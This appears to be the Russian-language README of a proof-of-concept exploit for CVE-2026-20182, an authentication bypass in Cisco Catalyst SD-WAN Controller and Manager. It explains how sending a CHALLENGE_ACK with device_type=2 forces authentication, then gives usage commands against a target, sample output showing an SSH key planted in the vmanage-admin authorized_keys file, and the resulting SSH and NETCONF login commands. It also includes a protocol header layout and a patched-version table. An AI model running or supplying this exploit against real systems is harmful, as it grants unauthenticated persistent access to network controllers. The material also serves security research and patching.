
CVE-2026-20182 PoC — Cisco Catalyst SD-WAN Controller / Manager: обход аутентификации (CVSS 10.0)
Эксплойт класса proof-of-concept для CVE-2026-20182, критического (CVSS 10.0) обхода аутентификации в службе vdaemon DTLS (UDP/12346) на Cisco Catalyst SD-WAN Controller (vSmart) и Manager (vManage).
Раскрытие: 14 мая 2026 года, Rapid7 (Stephen Fewer & Jonah Burgess)
CISA KEV: Добавлено 14 мая 2026 года (Чрезвычайная директива 26-03)
CVSS: 10.0 — CWE-287: Некорректная аутентификация
Служба vdaemon использует многофазное DTLS-рукопожатие для аутентификации пиров на плоскости управления. Функция vbond_proc_challenge_ack() реализует проверку сертификатов в зависимости от типа устройства, но для типа устройства 2 (vHub) отсутствует путь проверки. Отправка CHALLENGE_ACK с device_type=2 заставляет функцию пройти через все условные проверки и безусловно установить peer->authenticated = 1.
Не требуются ни действительные учетные данные, ни сертификат, подписанный CA, ни знание о развертывании SD-WAN.
/home/vmanage-admin/.ssh/authorized_keys через MSG_VMANAGE_TO_PEER (msg_type=14)vmanage-adminpython3 cve-2026-20182.py -t <target> [options]
| Аргумент | Описание |
|---|---|
-t, --target | IP-адрес или имя хоста цели |
--port | UDP-порт vdaemon (по умолчанию: 12346) |
--key-file | Путь к существующему открытому ключу SSH для внедрения (необязательно) |
--netconf | Проверить эксплуатацию, подключившись к NETCONF через SSH |
# Generate a fresh key pair and exploit
python3 cve-2026-20182.py -t 192.168.1.100
# Use an existing public key
python3 cve-2026-20182.py -t 192.168.1.100 --key-file ~/.ssh/id_rsa.pub
# Exploit and verify via NETCONF
python3 cve-2026-20182.py -t 192.168.1.100 --netconf
[*] Targeting 192.168.1.100:12346 (vdaemon DTLS)
[+] DTLS handshake complete (received msg_type=8, 1027 bytes)
[*] Sending CHALLENGE_ACK with device_type=2 (vHub) ...
[+] peer->authenticated = 1 (authentication bypassed!)
[*] Sending HELLO ...
[+] Peer is UP state (peering handshake bypass successful)
[*] Injecting SSH public key ...
[+] NETCONF: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa -p 830 [email protected]
[+] SSH: ssh -i /tmp/cve-2026-20182_key -o HostKeyAlgorithms=+ssh-rsa [email protected]
| Релиз | Исправленная версия |
|---|---|
| < 20.9 | Перейти на поддерживаемый релиз |
| 20.9 | 20.9.9.1 |
| 20.10 | 20.12.7.1 |
| 20.11 | 20.12.7.1 |
| 20.12 | 20.12.5.4 / 20.12.6.2 / 20.12.7.1 |
| 20.13 | 20.15.5.2 |
| 20.14 | 20.15.5.2 |
| 20.15 | 20.15.4.4 / 20.15.5.2 |
| 20.16 | 20.18.2.2 |
| 20.18 | 20.18.2.2 |
| 26.1.1 | 26.1.1.1 |
cisco_sdwan_vhub_auth_bypass — Вспомогательный модуль во фреймворке MetasploitЗаголовок протокола vdaemon имеет размер 12 байт:
| Смещение | Размер | Поле | Примечания |
|---|---|---|---|
| 0 | 1 | msg_type | Младший полубайт = тип, старший полубайт = версия |
| 1 | 1 | device_info | Старший полубайт = device_type, младший полубайт = flags |
| 2 | 1 | flags | Стандартное значение 0xA0 |
| 3 | 1 | padding | Всегда 0x00 |
| 4-7 | 4 | domain_id | Big-endian uint32 |
| 8-11 | 4 | site_id | Big-endian uint32 |
Типы устройств: 1=vEdge, 2=vHub, 3=vSmart, 4=vBond, 5=vManage
openssl CLI (для DTLS-транспорта)cryptography (pip install cryptography)Данный эксплойт предназначен исключительно для авторизованных операций red team, пентеста и исследований безопасности в отношении систем, на которые у вас есть явное письменное разрешение. Несанкционированное использование незаконно.